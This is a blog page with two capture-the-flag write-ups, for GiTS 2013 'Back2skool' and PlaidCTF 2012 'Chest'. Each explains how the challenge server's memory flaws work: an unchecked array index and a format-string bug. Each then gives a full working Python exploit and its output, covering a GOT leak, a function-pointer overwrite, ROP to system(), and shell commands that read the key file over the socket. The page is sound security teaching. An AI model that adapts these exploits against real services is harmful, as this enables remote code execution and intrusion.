codezen.fr code hacking, zen coding

19Feb/13Off

GiTS 2013 CTF – Pwnables 250 Question 10 – Back2skool Write-up

Posted by aXs

back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

This is the binary for MathServ, "The one-stop shop for all your arithmetic needs".

$ nc localhost 31337
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

Commands:
  read  Read value from given index in table
  write Write value to given index in table
  func1 Change operation to addition
  func2 Change operation to multiplication
  math  Perform math operation on table
  exit  Quit and disconnect
read
Input position to read from:
1
Value at position 1: 1
write
Input position to write to:
1
Input numeric value to write:
10
Value at position 1: 10
func1
Setting mode to ADDITION
math
Result of math: 54
exit
Exiting program!

You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.

Lets check how the "read" function works:

sendString(sockfd, (int)"Input position to read from:\n");
readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
value =  *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);

There is 2 vulnerabilities here:
- There is no bound checking on the position value
- position can be signed, allowing to use a negative offset

Basically, you can read and write any memory, this will prove useful for information leak purpose.

Lets move to the "write" function:

readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
if ( position <= 9 )
{
  sendString(sockfd, (int)"Input numeric value to write:\n");
  readUntil(sockfd, (int)&nptr, 0x13u, 10);
  *(_DWORD *)&values[4 * position] = atoi(&nptr);
  sock_printf(sockfd, "Value at position %d: %d\n", position);
}
else
{
  sendString(sockfd, (int)"Table index too large!\n");
}

Almost the same story here except we have an inefficient bound checking:
- You can still enter negative number and the if() check will pass
- As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear

10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2 00000000000000000000000000001100 = 12 = 0xC Now lets focus on the "math" command:

.text:080493A5                 mov     eax, ds:(math_ptr - 804BF54h)[ebx]
.text:080493AB                 mov     edx, [eax]
.text:080493AD                 mov     dword ptr [esp+4], 0Ah
.text:080493B5                 mov     eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB                 mov     [esp], eax
.text:080493BE                 call    edx

The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.

Some complications:
- The stack is NX
- The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc...
- There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve

So our exploit workflow will be:
- Do information leak: get the address of libc's __libc_start_main in the GOT table
- Overwrite the math_ptr with a stack pivot
- Fill the values array with a shell command line : cat key>&4
- Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter
- Read key from socket

Our stack pivot:

.text:08049550                 pop     ebx
.text:08049551                 pop     esi
.text:08049552                 pop     edi
.text:08049553                 pop     ebp
.text:08049554                 retn

A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside libc6.so. You can download this specific version from here for example: http://109.203.104.18/automate/instances/linuxmint/pbuilder/precise-i386/base.cow/lib/i386-linux-gnu/libc-2.15.so

Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function's address in memory.

$ gdb libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
gdb$ p system
$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb$ p __libc_start_main
$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>

The offset between __libc_start_main() and system() is 0x3d170 - 0x193e0 = 0x23D90

So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90

And we know the __libc_start_main() address from the GOT table.

We got everything, so here is the exploit:

import ctypes
import telnetlib
from struct import pack, unpack

math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
addr_values = 0x0804C040
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC

def read_memory(offset):
    position = offset_to_position(offset)
    tn.write("read\n")
    tn.read_until("Input position to read from:")
    tn.write(str(position) + "\n")
    tn.read_until("Value at position ")
    tn.read_until(": ")
    value = long(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def write_memory(offset, value):
    position = offset_to_position(offset)
    tn.write("write\n")
    tn.read_until("Input position to write to:")
    tn.write(str(position) + "\n")
    tn.read_until("Input numeric value to write:")
    tn.write(str(ctypes.c_long(value).value) + "\n")
    tn.read_until("Value at position " )
    tn.read_until( ": ")
    value = int(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def read_got_value(got, offset):
    return read_memory(got[offset])

def overwrite_got_pointer(got, offset, value):
    return write_memory(got[int(offset, 16)], value)

def offset_to_position(offset, adjust=False):
    if offset < addr_values or adjust:
        position = -((addr_values - offset) >> 2)
    else:
        position = 0x80000000 + ((offset - addr_values) >> 2)
    return ctypes.c_long(position).value

HOST = 'back2skool.2013.ghostintheshellcode.com'
PORT = 31337

tn = telnetlib.Telnet(HOST, PORT)

tn.read_until("Quit and disconnect")

print "Dumping GOT..."

got = {}
ptr = {}

for offset in range(got_table_start, got_table_end+4, 4):
    value = read_memory(offset)
    hex_value = hex(value)
    #print hex(offset),":", hex_value
    got[offset] = value

print "Getting fd and __libc_start_main offset from GOT"

ptr['sockfd'] = read_got_value(got, 0x0804BFF4)
ptr['__libc_start_main'] = got[0x0804BF9C]

for value in ptr:
    print value, '=', hex(ptr[value])

print "Computing system() addresss"
# Challenge box was Ubuntu Precise i386 with libc 2.15
# 32631f59185a4d6ecadffa9f0afc1d74 libc.so.6
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system

print "system() is at", hex(system_ptr)

math = read_memory(math_ptr)
print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))

print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)

print "Current math vfptr is", hex(read_memory(math))

print "Filling values array with shell command"
# cat key>&4\n
write_memory(addr_values,   0x20746163)
write_memory(addr_values+4, 0x3e79656b)
write_memory(addr_values+8, 0x0a0a3426)

print "Putting ROP chain on the stack"
tn.write("read\n")
tn.read_until("Input position to read from:")
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values)  + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")
tn.read_eager()

print "Pwning!"
tn.write("math\n")

print "Reading key:"
print tn.read_all()

tn.write("exit\n")

Results:

$ python pwn250.py
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
Computing system() addresss
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Pwning!
Reading key:
You couldn't own a box if you purchased it

Key is "You couldn't own a box if you purchased it"

Share
2May/12Off

PlaidCTF 2012 – Pwnables 300 – Chest Writeup

Posted by aXs

Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!
23.22.1.14:1282

In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items.

Welcome to the Adventurers' storage room!
If you don't yet have a personal chest, you can use this one: XXXXFJ4bO1
Which chest to you wish to access? [XXXXFJ4bO1]:
Using chest XXXXFJ4bO1

What do you want to do?

[1] View items
[2] Store an item
[3] Take an item
[4] Leave
[5] Destroy the chest
> Choose an option:

After disassembling the binary, we see that there is a format string vulnerability in the "View items" function.

  do
  {
    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
  }

The name of the item is used as format to dprintf. So easy right ? Not so fast...

There is a function that filter heavily user input based on a whitelist:

  n = strspn(src, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&-+ ");

The percent character is of course not whitelisted so we cannot send a format string.

To exploit this vulnerability, we need to combine it with another design conception error: when you connect to the service, you can input the name of the chest you want to open.

The error is that if you connect simultaneously 2 clients, ask both clients to open the same chest and use the destroy chest function in one client, the other client will malfunction in a very interesting way.

Rember this read loop for viewing the items ?

  do
  {
    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
  }
...
int __cdecl sub_8048C7B(int fd, void *a2, int a3, char a4)
{
  char v4; // al@3
  char v5; // al@7
  void *buf; // [sp+28h] [bp-10h]@1
  ssize_t v8; // [sp+2Ch] [bp-Ch]@2

  buf = a2;
  do
  {
    v5 = a3-- != 0;
    if ( !v5 )
      break;
    v8 = read(fd, buf, 1u); // will return 0
    if ( v8 != 1 ) // will pass
    {
      if ( v8 ) // will not pass
        exit(1320024593);
      return buf - a2; // will return buf left untouched!
    }
    v4 = *(_BYTE *)buf == a4;
    buf = (char *)buf + 1;
  }
  while ( !v4 );
  return buf - a2;
}

As you can see, as the chest has been destroyed, read() will fail to read anything and the function will return leaving the buffer untouched... untouched means with its previous content... and this function is also used to read the name of the item:

  dprintf(fd, "> Store what item? ");
  src[sub_8048C7B(fd, (void *)src, 499, 10)] = 0;

So to exploit this we need:
- Connect 2 clients
- Choose the same chest in both clients
- Destroy the chest using one client
- With the client left, store an item with our format string vulnerability
- List the chest content, this will trigger the format string
- An additional action to get the flag (see below)

After reviewing my options, I noticed system() is already part of the GOT table so I will try to overwrite strspn's GOT entry so that an unfiltered string can be used as the system() parameter.

For this, I used hellman's highly recommended libformatstr library which makes format string building very easy.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import socket
import sys
import re
from libformatstr import FormatStr

if len(sys.argv) != 3:
  print '\nUsage:\t./chest.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

fs = s.makefile()

print 'Client1 Banner1', fs.readline()
print 'Client1 Banner2', fs.readline()

s.send('\n');
chest = fs.readline()

regex = re.compile("Using chest (.*)")
r = regex.search(chest)
chest = r.groups()[0]

print 'Chest', chest

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, port))

fs2 = s2.makefile()

print 'Client2 Banner1', fs2.readline()
print 'Client2 Banner2', fs2.readline()

s2.send('%s\n' %chest);

# destroy chest
for i in range(1,9):
  fs.readline()
s.send('5\n');
s.close()

# add item to chest
for i in range(1,10):
  fs2.readline()
s2.send('2\n')
fs2.readline()

addr = 0x0804abf0 # strspn()
got = [0x08048796] # system()
p = FormatStr()
p[addr] = got

payload = p.payload(7, start_len=4)

# we start the payload with a non-whitelisted char so that the NUL byte
# is put at the beginning of the string
s2.send('____' + payload + '\n')
print 'Client2 Result Store', fs2.readline()

# view chest content
for i in range(1,9):
  fs2.readline()
s2.send('1\n')

# strspn() is now system()
# fd 4 is our socket
s2.send('ls -la>&4 ; cat key>&4\n')

while 1:
  line = s2.recv(4096)
  if not line:
      break
  print 'Client2 Received', repr(line)

sys.stdout.flush()

s2.close()

Running our exploit we get (some garbage removed from the beginning):

total 28
drwxr-xr-x 2 root root 4096 Apr 28 04:36 .
drwxr-xr-x 3 root root 4096 Apr 27 19:27 ..
-rwxr-xr-x 1 root root 8564 Apr 27 19:27 chest
lrwxrwxrwx 1 root root 3 Apr 28 04:36 flag -> key
-rw-r--r-- 1 root root 24 Apr 27 03:48 key
-rwxr-xr-x 1 root root 41 Apr 27 19:27 start.sh
lemons_are_in_the_chest

The key is: lemons_are_in_the_chest

Share